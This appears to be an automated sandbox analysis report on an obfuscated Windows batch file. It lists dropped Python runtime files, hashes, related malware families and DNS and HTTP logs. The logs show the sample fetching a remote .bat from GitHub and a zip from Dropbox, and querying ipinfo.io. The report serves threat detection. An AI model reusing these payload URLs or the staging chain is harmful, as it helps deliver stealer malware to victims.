C:\Users\Public\Document\DLLs\_asyncio.pyd

C:\Users\Public\Document\DLLs\_bz2.pyd

C:\Users\Public\Document\DLLs\_ctypes.pyd

C:\Users\Public\Document\DLLs\_ctypes_test.pyd

C:\Users\Public\Document\DLLs\_decimal.pyd

C:\Users\Public\Document\DLLs\_elementtree.pyd

C:\Users\Public\Document\DLLs\_hashlib.pyd

C:\Users\Public\Document\DLLs\_lzma.pyd

C:\Users\Public\Document\DLLs\_msi.pyd

C:\Users\Public\Document\DLLs\_multiprocessing.pyd

C:\Users\Public\Document\DLLs\_overlapped.pyd

C:\Users\Public\Document\DLLs\_queue.pyd

C:\Users\Public\Document\DLLs\_socket.pyd

C:\Users\Public\Document\DLLs\_sqlite3.pyd

Windows Analysis Report
zW72x5d91l.bat

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc.2453823085616

C:\Users\Public\Document\Lib\pycache\_collections_abc.cpython-310.pyc.2453771213232

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc.2453778706992

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc.2453784226992

C:\Users\Public\Document\Lib\pycache\_sitebuiltins.cpython-310.pyc.2453772629168

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc.2453772876080

C:\Users\Public\Document\Lib\pycache\abc.cpython-310.pyc.2453772403632

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc.2453795763712

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc.2453777728880

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc.2453872536672

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc.2453823209632

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc.2453871610672

C:\Users\Public\Document\Lib\pycache\codecs.cpython-310.pyc.2453771369840

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc.2453772868912

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc.2453784715632

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc.2453772866736

C:\Users\Public\Document\Lib\pycache\csv.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\csv.cpython-310.pyc.2453799415552

C:\Users\Public\Document\Lib\pycache\dataclasses.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\dataclasses.cpython-310.pyc.2453799628976

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc.2453785915568

C:\Users\Public\Document\Lib\pycache\dis.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\dis.cpython-310.pyc.2453785413312

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc.2453772417408

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc.2453784231600

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc.2453772629296

C:\Users\Public\Document\Lib\pycache\genericpath.cpython-310.pyc.2453772631600

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc.2453778398896

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Code%20Send%20meta%20Discord%20EXE.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	fqr8nP1HfL.html	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://bb.vg/STDBANK	Get hash	malicious	Unknown	Browse	34.117.59.81
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	LiteDBViewer.exe	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
www-env.dropbox-dns.com	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjshdf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse	162.125.65.18
	https://docsend.com/view/nw5cttresp36nsvc	Get hash	malicious	Unknown	Browse	162.125.69.18
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	162.125.69.18
	https://t.ly/HThl-Link1-0312	Get hash	malicious	Unknown	Browse	162.125.65.18
edge-block-www-env.dropbox-dns.com	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.15
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://t.ly/HThl-Link1-0312	Get hash	malicious	Unknown	Browse	162.125.69.15
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjsdfhsdHndf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
github.com	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	QlyOUFGIFB.exe	Get hash	malicious	MicroClip	Browse	20.233.83.146
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse	20.233.83.145
	1.exe	Get hash	malicious	Havoc, RUSTDESK	Browse	20.233.83.145
	Ttok18.exe	Get hash	malicious	Vidar	Browse	20.233.83.145
	https://github.com/kernelwernel/VMAware/releases/download/v1.9/vmaware64.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	20.233.83.145

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	iVH355vnza.vbs	Get hash	malicious	Unknown	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	file.exe	Get hash	malicious	LummaC Stealer	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	http://www.thehorizondispatch.com	Get hash	malicious	Unknown	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	Aktarma,pdf.vbs	Get hash	malicious	Remcos	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	https://reader.egress.com/remote.aspx/s/storage.phe.gov.uk/email/e0599f812894d1904a8fe3cf7f605bcb	Get hash	malicious	Unknown	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	rrats.exe	Get hash	malicious	AsyncRAT	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	162.125.69.18 20.233.83.145 162.125.69.15
	TeudA4phjN.exe	Get hash	malicious	Quasar	Browse	162.125.69.18 20.233.83.145 162.125.69.15

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Document\DLLs\_asyncio.pyd	based.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	y.bat	Get hash	malicious	Braodo	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	https://github.com/thonny/thonny/releases/download/v4.1.6/thonny-4.1.6.exe	Get hash	malicious	Unknown	Browse
	crss.exe	Get hash	malicious	Unknown	Browse
	BB.bat	Get hash	malicious	Braodo	Browse
	leo.bat	Get hash	malicious	Braodo	Browse
	cat.bat	Get hash	malicious	Braodo	Browse
	chim.bat	Get hash	malicious	Braodo	Browse

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	55322045
Entropy (8bit):	7.994983143471521
Encrypted:	true
SSDEEP:	1572864:rFdzaUr4I4GMBwnpVCV0XdtdyvNIuKBiyJMT3n:r3WtVBS9/yvapBil3n
MD5:	B5BC243EDA2F9993527A16D16F644A37
SHA1:	CB04766DAB33333DB76E815FE97A5EF1B030206C
SHA-256:	1813E7C07B822FED6A6785435EBFD6EC8424934DF7503480BBF5B6E2133A6C96
SHA-512:	D106D85B956CB5AFD258E43B1AC4D7EA05B6126E1D577354DF2209A5335FB032657B97D56B4F29F938E9982DB3A69AD37CB176A5B810790483DBEA3CCFFFE8A2
Malicious:	true
Reputation:	low
Preview:	PK.........-.V.<B.............python.exe.Z}p[..O...C.I....<..q rdKv...9..u.I...T..'[E.T........j&m..3.n6.......'0.9b.'.6..mB:..../....nb.T{.O.dl(.t?..{..{........$.....J.2BXp./.z...+./$/.Y:..Y.....H.3...=.`0$.."...y..w~c+.....C.Y...'...~<..S.......^......8.?N2.G.....J.p....^.HR........S4....B........c.d..k.i..)#.....B...Q..E..Q.......KY3H.s...k.....w.g...@Q..".C..D+!{.9: ...#.k..rd..QFH..?..Z......#..I..K..A....b{E...Pdd..(S...`bD@.X..H.g...a&H..P..s.D#....\|C...>....y........f.m _. .V.\C.....W.d....[AH.H..-.].M.b\R.=Qt..4X.U....B.o.@.>..<.L!....%..P..b..sigB.w..!....wu..`.......-..W&s1'...#....=...c....s.>.K5.ob....=.+._.<...L........m.(-O..V.TAu"..}.Lv....%s.. fe.]....w......-.y._.'{...`..?.;o..]'b.....,.(..z.h...........\<...1...~...u....Kz...mk..J..R9....B..H..pF..&-j.%..Z5.....2...Ty%Cv1.n`.zA.P...\|..R.).+..[.....WN..J.p.c....y9.SJA.v..N.......+L...!3O@&'.......d.,.s..u<l`.^F..)....Sb/......T....1.J.9A>g;.2E.h..)S.....f...iI..;Lp

Process:	C:\Users\Public\Document\python.exe
File Type:	data
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.35458993705004
Encrypted:	false
SSDEEP:	96:3gdNzUuGd+P2sKNUWOom2j8kQAnPPELBG0uY:u4BRROom1gPG00uY
MD5:	458EBEEE33BFB521A4F8CA693F7C9090
SHA1:	D35C099733FF5ACC247141139746427695638E0E
SHA-256:	BEA7CCDEFAA3E18E492A2FECA65AF067C8AE7C94B8E7FAC4FD0D764F365ADB4A
SHA-512:	A07B03D4FDB12393AE207C1D54A67EF89498065B5EE3C04B06E9A28E320828D6624B9F265A19648F8F9FC830E995A130F7C2521D519BEA0B60E7A228529D4CD8
Malicious:	false
Preview:	o........C-d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

File type:	Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
Entropy (8bit):	4.702912858754747
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	zW72x5d91l.bat
File size:	432'991 bytes
MD5:	c72963263d76893234b3b6c6342bdbbc
SHA1:	55e01fd1eb905383222abe3a914adcde1f21558c
SHA256:	25d7e9a512fccb4b87bc53a2dd939b823513333882852f833025601e71fa0746
SHA512:	3207825baee650c2ab1394706584d69a8514952c53e8bcd7f2df628f783273b9d15d74a8ad6202cfaa99b014e791c4ff36edb3c1a1a6ecc396bd1ef22c98870f
SSDEEP:	1536:xJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJSJJJJJJJJL:2
TLSH:	7A940A90DA7B7AC1EE83B65025B77460F2CC5C077E39E8F63CFA3649C060C1AD969916
File Content Preview:	..&cls..echo muflbvyzertjcrdftgslnzasqmynkmwydeofandplvmyeliwkrqnvebctljuwvrjdneocyknodzlyxdytgnzwapzgauykynqzbmyeyeltmkwgaltnmkscqjvyubjdqztimkbgqphhhlgllacdgfscvukpnfoixnupyhrfcwlqrbovbegfdcpwaiurfapvcrmcpipcygemxmtipxccxelkbvepmifjiumppdtvlolwiwcrlwyqz

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 17:05:16.205245972 CET	192.168.2.9	1.1.1.1	0xcffe	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:05:19.143038034 CET	192.168.2.9	1.1.1.1	0xdab8	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:05:22.161859989 CET	192.168.2.9	1.1.1.1	0x73e	Standard query (0)	uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:08:23.163609028 CET	192.168.2.9	1.1.1.1	0x8cb9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 17:05:16.344284058 CET	1.1.1.1	192.168.2.9	0xcffe	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:05:19.282294989 CET	1.1.1.1	192.168.2.9	0xdab8	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:05:19.282294989 CET	1.1.1.1	192.168.2.9	0xdab8	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:05:22.491158962 CET	1.1.1.1	192.168.2.9	0x73e	No error (0)	uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:05:22.491158962 CET	1.1.1.1	192.168.2.9	0x73e	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:08:23.300810099 CET	1.1.1.1	192.168.2.9	0x8cb9	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:05:17 UTC	84	OUT	GET /ty9989/u/raw/main/ud.bat HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-09 16:05:18 UTC	535	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Mon, 09 Dec 2024 16:05:18 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/ty9989/u/main/ud.bat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-09 16:05:18 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:05:20 UTC	149	OUT	GET /scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-12-09 16:05:22 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https:/ [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.com/cd/0/get/Cf6O6-mc1Oh-6LK1qMCBrbPcO27RUCmiF0EN9_8RPLhrmulU-F73oXgmVcZz6s52Yi-GpG25UcOI1c7fca8l9yXfF1bJOK85cQ10KMBYlcGDgE-1DHRidsXw1bBd6rpI09RKwpw8QJ37uO55aulU8ssP/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=OTc5MzQ0NjY1OTQ4MzA0OTA5MzI1OTMzMjQ1NDc2OTUwMTYzMjg=; Path=/; Expires=Sat, 08 Dec 2029 16:05:21 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=hyljPcRgfjvNrw4Y0E5No8Lp; Path=/; Domain=dropbox.com; Expires=Tue, 09 Dec 2025 16:05:21 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=hyljPcRgfjvNrw4Y0E5No8Lp; Path=/; Expires=Tue, 09 Dec 2025 16:05:21 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=U0ezw0CZH0; Path=/; Expires=Tue, 09 Dec 2025 16:05:21 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 08 Dec 2029 16:05:21 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 09 Dec 2024 16:05:21 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 941493e2fe244ef3ab2e7e9ded600cd1 Connection: close
2024-12-09 16:05:22 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->